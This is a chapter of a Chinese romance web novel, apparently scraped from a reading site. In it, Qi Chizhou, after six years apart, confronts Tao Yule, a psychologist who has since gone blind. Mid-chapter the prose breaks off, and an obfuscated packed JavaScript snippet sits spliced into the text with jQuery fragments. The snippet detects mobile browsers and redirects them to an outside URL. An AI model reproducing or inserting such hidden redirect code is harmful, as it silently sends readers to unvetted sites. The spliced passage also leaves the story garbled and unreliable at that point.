8.对峙

作品:《禁止向宿主剧透[快穿]

    上午从这栋三层小楼的咨询中心出来以后,戚驰舟干脆把文朔支走,自己在车里坐了一天。


    文朔离开时的表情非常震惊,似乎觉得这种事不像他这种风格能做出来的。


    戚驰舟心中冷笑。


    他守株待兔这么多年。


    现在兔子好不容易蒙着眼撞柱子上了,他不可能让这件事出任何意外。


    在车里坐一天又怎么了?


    他演的从来都不是文朔想象中的苦情戏码,而是专门针对陶与乐的一场抓捕。


    只不过戚驰舟原本没有想过露面。


    他原计划是等陶与乐下班以后,他就跟在后面,看有没有人过来接他,看他到底住哪儿——


    万万没想到陶与乐现在眼睛看不见了,走路还会像十几岁一样心不在焉。


    当黑色电动车喇叭按个不停,而他却傻站在那里不闪不避的时候,戚驰舟一口气直接提到了嗓子眼里,还没反应过来人就已经条件反射般冲了过去。


    直到赶在电动车撞过来前将陶与乐拽到自己怀里,才稍稍松了口气,但仍然心有余悸。


    这是他看到了,他出手了。


    要是他没看到,旁边也没人提醒没人帮忙该怎么办?


    戚驰舟憋了一肚子的话想继续训人,可望向陶与乐的眼睛,才忽然间意识到什么特别重要的事。


    ——他刚才是没控制住出声了吗?


    ——他是不是叫了陶与乐的名字?


    不知道自己其实已经被前台嘉禾给认出来的戚驰舟无声地偏过头去闭了闭眼:“艹......”


    戚驰舟你他妈未免也太沉不住气......


    计划赶不上变化。


    反正国人总说事已至此,来都来了,大过年的,多大点事......


    脑海中各种各样的念头飞快闪过一遍,戚驰舟深吸口气,调整了一下自己的面部表情,重新望向陶与乐。


    陶与乐也僵在原地。


    事实上,从戚驰舟出现的那一刻,他就像踩住钉子似的动弹不得。


    一股难以言喻的慌乱、滞涩、窘迫在顷刻间蔓延全身,混杂着午夜梦回时想了无数遍的悸动、渴望、想念等情绪一起,争相涌到胸口,几乎要把陶与乐整个人都挤炸了。


    而且戚驰舟攥着他的手攥得很紧,攥到连骨头都疼,到现在还没有松开。


    可这恰恰说明了这一切都是真的。


    陶与乐的胸口不受控制地起起伏伏,握着盲杖的手也不自觉松了又紧,紧了又松。


    周围人来人往,各种声音不断,他需要竭尽全力地克制自己,才能不露出太多异样,或者当众红了眼眶。


    此时此刻,他们两个人之间的距离很近。


    都站在盲道那块只有三十厘米宽的地砖上面。


    可刚刚才发完脾气的戚驰舟一时间没再说话,陶与乐的喉咙也干涩发紧,于是,他们就这样近距离站在一起,就像在寂静无声当中对峙,偏偏又亲密至极。


    虽然天已经黑了,但整条街上都是亮的,不远处还有路灯,戚驰舟目不转睛地看着陶与乐,没错过他脸上任何一个表情。


    他看到陶与乐嘴唇微张,看到他呼吸凝滞,看到他露出大脑一片空白的僵硬神态,看到他眼睛红了......


    确认从自己出现的这一刻起,陶与乐在瞬间产生了巨大的情绪波动,跟坐在心理咨询室那个永远都面带微笑,好像不论对谁都平静包容的陶医生截然不同,戚驰舟心里那股积攒和压抑了很久的郁气才稍微顺了一点。


    ——惊怒之下短暂罢工的触觉神经也重新开始恢复。


    之前穿着衣服看不出来。


    此刻时隔六年扣住陶与乐的腰身,除了觉得手感变陌生了,掌心微微发麻之外,戚驰舟脑海中还同时浮现出另外一个念头。


    他有些愠怒地想:陶与乐平时都不好好吃饭的吗?


    一个是余怒未消,咬牙切齿,一个是浑身僵硬,如在梦中,就在他们隔着六年时光却相顾无言的时候,身后突然传来一道响亮的女声:“陶医生!”


    “可算是追上你了,”已经下班的嘉禾跟前台另外一个女接待员一起背着包小跑过来,“刚刚在楼上看你脸色不好,担心你出什么事,要不我们跟你一起......呃、这位,这是......”


    听见声音的陶与乐这才如梦初醒,立刻后退一步,从戚驰舟怀里出来。


    戚驰舟则望向自己瞬间空了的手,下意识握了握拳,然后不着痕迹地重新站直,同时呼出口气,觉得今天真是流年不利。


    走近了的嘉禾并没有察觉到他们之间的异样氛围,在看清陶与乐身边站的是谁之后一边瞪大眼睛,一边伸手去拽同事衣服,压低声音道:“就是他就是他!是戚驰舟啊!!!”


    女接待员不敢相信,跟她咬耳朵:“……不可能吧?”


    “这个眼睛这个眉毛......我发誓绝对是他,绝对是他!”


    没想到居然能再次碰见,嘉禾有些激动地望向戚驰舟道:“你是戚驰舟吗?你还记得我吗?我是今天上午帮你预约登记的接待员。”


    “我一直觉得你很眼熟,但今天一整天都没想起来,直到在楼上看见陶医生才反应过来,当时跟他们说他们还不相信。”


    “......”


    看着嘉禾兴奋不已说个不停的样子,戚驰舟几乎是瞬间就猜到了陶与乐下班时异常失态的根本原因。


    ——原来他的马甲早就掉了。


    ——原来早在他出现之前,陶与乐就已经从别人口中提前认出了他。


    戚驰舟眉心突突跳了两下。


    虽然再一次觉得流年不利,还是当着陶与乐同事的面摘了口罩:“嗯,是我。”


    “啊啊啊!”验证了自己的猜测,同时近距离看到戚驰舟那张帅得极具冲击力的脸,嘉禾拽着身边的同事,完全忘了她们之前跑过来是为了什么:“你看你看,我就说吧!”


    另外一个女接待员从不追星,可也在短时间内被戚驰舟的五官慑住,下意识屏住呼吸。


    见嘉禾在他面前蠢蠢欲动却欲言又止,戚驰舟干脆问:“要合影吗?”


    “真的可以吗?要要要!”嘉禾立刻从包包里拿出手机,女接待员犹豫片刻,动作也是一样。


    于是,戚驰舟在不着痕迹地瞥了陶与乐一眼之后,非常绅士配合地这两个女孩用手机拍起照片。


    老实说。


    站在一旁的陶与乐非常感谢突然出现的嘉禾和女接待员,在这种兵荒马乱的情况下,给了他一点可以用来缓冲和平复的时间。


    此刻,骤然紧缩的心脏慢慢松开,瞬间涌到大脑里的血液也重新回到四肢百骸,听着嘉禾在旁边叽叽喳喳说话的声音,他突然想到很久之前,他跟边绪的一段对话。


    那时候边绪刚刚结束了一段恋情,抱着酒瓶子骂骂咧咧,陶与乐就在一旁安静地听,反正边绪也只是发泄情绪,不需要他给出反应。


    然而在说完了自己的事情之后,边绪打了一个酒嗝,话锋一转:“算了,不说我了。”


    “这地球是圆的,就算你一直躲着,也有重新撞到他的可能,”边绪含混地叫了陶与乐的名字,在趴到桌上睡着之前问他:“要是有一天......你不小心碰见戚驰舟该怎么办?”


    当时陶与乐脑海中出现的第一个念头就是不要,他希望戚驰舟永远不知道他已经瞎了。


    可这个念头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168311|196402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    升起之后,他还是不受控制地顺着边绪的话,在脑海中想象了无数次他们在某个场合不期而遇的情形。


    到那时,他该说什么,做什么......陶与乐模拟过好几百个版本。


    可万万没想到真正到了这个时刻,他却将模拟的内容全都忘了。


    连害怕和惶恐的那些事都不记得,也顾不得去思考戚驰舟突然出现的原因,唯有经年累月的想念与渴望占据上风。


    ——很想。


    很想亲眼看看戚驰舟现在是什么样子。


    另外一边,心满意足拍到合照的嘉禾收起手机,终于意识到什么,视线在戚驰舟跟陶与乐之间转了几圈:“刚才都忘记问了,陶医生,原来你早就认识戚驰舟啊?怪不得刚才在楼上你一直都不说话。”


    陶与乐张了张嘴。


    戚驰舟也没立刻开口。


    女接待员比嘉禾要大上几岁,敏锐察觉到这两人之间的氛围好像不太对劲,低头撞了撞嘉禾的胳膊,正准备岔开话题,没想到陶与乐“嗯”了一声,用很低的声音说:“早就认识。”


    “......”


    虽然还是觉得陶与乐说话的声音小了一点,语气僵硬了点,但他没有否认,戚驰舟口罩下的脸色还是稍微好看了点,然后在心里很轻地哼了一声。


    得知陶与乐跟戚驰舟居然认识,还是朋友,嘉禾“啊”了一声:“天呐,陶医生你居然都不告诉我们,还说你只是戚驰舟的粉——”


    “那什么,陶医生没事那我们就先走了,”情商更高的女接待员连拉带拽,强行打断了嘉禾的话,有些不好意思地冲戚驰舟跟陶与乐说:“你们回去的路上也注意安全,放心,我们都是签过保密协议的,绝对不会泄露来访者信息,也不会在网上瞎说……拜拜拜拜。”


    她们很快离开,这段插曲告一段落。


    戚驰舟重新望向陶与乐,发现这个从他出现以后就像被点了穴一样僵硬沉默的人,也正在用那双无神的眼睛尝试寻找他的位置。


    陶与乐大约已经竭尽全力地调整过表情,可那张苍白的脸上还是有残留的,一览无余的茫然、滞涩与紧张。


    以前的陶与乐不是这样。


    他们之间的相处也不是这样。


    再一次清晰感受到他们分开六年以及陶与乐看不见了这个事实,戚驰舟早就被扎穿的心脏重新往外淌血,胸口蓦地疼了一下。


    于是他终于出声:“在找什么。”


    陶与乐张了张口,他发现自己连戚驰舟的名字都喊不出来,在锁定方向之后,半晌才道:“你来看心理医生......情况是比我判断的还严重吗?”


    戚驰舟忍不住嗤笑一声:“陶与乐,有时候我真的很想把你的脑子撬开,看看里面装的到底是什么。”


    陶与乐站在原地呼吸一窒。


    他何尝不知道自己说了一句废话。


    可他现在应该跟戚驰舟聊些什么?


    六年不见,是应该为当初的事向戚驰舟道歉,还是佯装若无其事的寒暄,说一声好久不见?


    老实说,站在人来人往的大街上聊天这种事对戚驰舟来说非常傻逼。


    但他就这么注视着眼前的人,在几秒钟之后干脆道:“与其说这些有的没的,你不如问我为什么要交一整年的咨询费用,为什么在咨询室全程都不出声,现在又为什么站在这里。”


    他现在说的每一句话都是陶与乐想问又不敢问的。


    陶与乐有些费力地握着盲杖,下意识抬眸跟戚驰舟对视:“为什......”


    “是因为你。”


    陶与乐蓦地一怔。


    “听见了吗?”戚驰舟看着他又重复一遍:“陶与乐,我是冲你来的。”